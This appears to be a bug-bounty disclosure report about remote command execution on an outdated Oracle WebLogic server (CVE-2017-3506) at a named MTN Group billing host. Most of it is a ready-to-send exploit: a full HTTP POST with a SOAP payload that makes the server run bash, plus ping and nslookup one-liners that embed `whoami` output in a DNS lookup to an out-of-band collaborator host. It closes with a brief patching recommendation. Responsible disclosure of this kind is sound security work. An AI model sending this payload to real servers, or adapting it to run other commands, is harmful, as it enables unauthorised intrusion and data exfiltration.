MTN Group: Remote OS Command Execution on Oracle Weblogic server via [CVE-2017-3506]

##Summary

Hello. I was able to identify RCE vulnerability due to the outdated Oracle Weblogic instance on https://raebilling.mtn.co.za.

##Steps To Reproduce

• To reproduce, try this request with BurpSuite
• This request to the https://raebilling.mtn.co.za/wls-wsat/RegistrationRequesterPortType will trigger Remote OS Command Execution:

POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host: raebilling.mtn.co.za
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
Accept-Languag: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3,
Content-Type: text/xml;charset=UTF-8
Content-Length: 873

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
        <void index="2">
                  <string>ping `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net</string>
                </void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>

==Note:==

• To reproduce this case with nslookup or ping, fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net host should be replaced by your own Burp Collaborator instance or with your private VPS IP to catch the DNS request

##Example:

ping `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net
nslookup `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net

==POC:== {F736973}

Suggested Mitigation/Remediation Actions

• Patching WebLogic to the recent version will fix the issue.

Impact

This vulnerability allow an unauthenticated attacker:

• To perform Remote OS Command Execution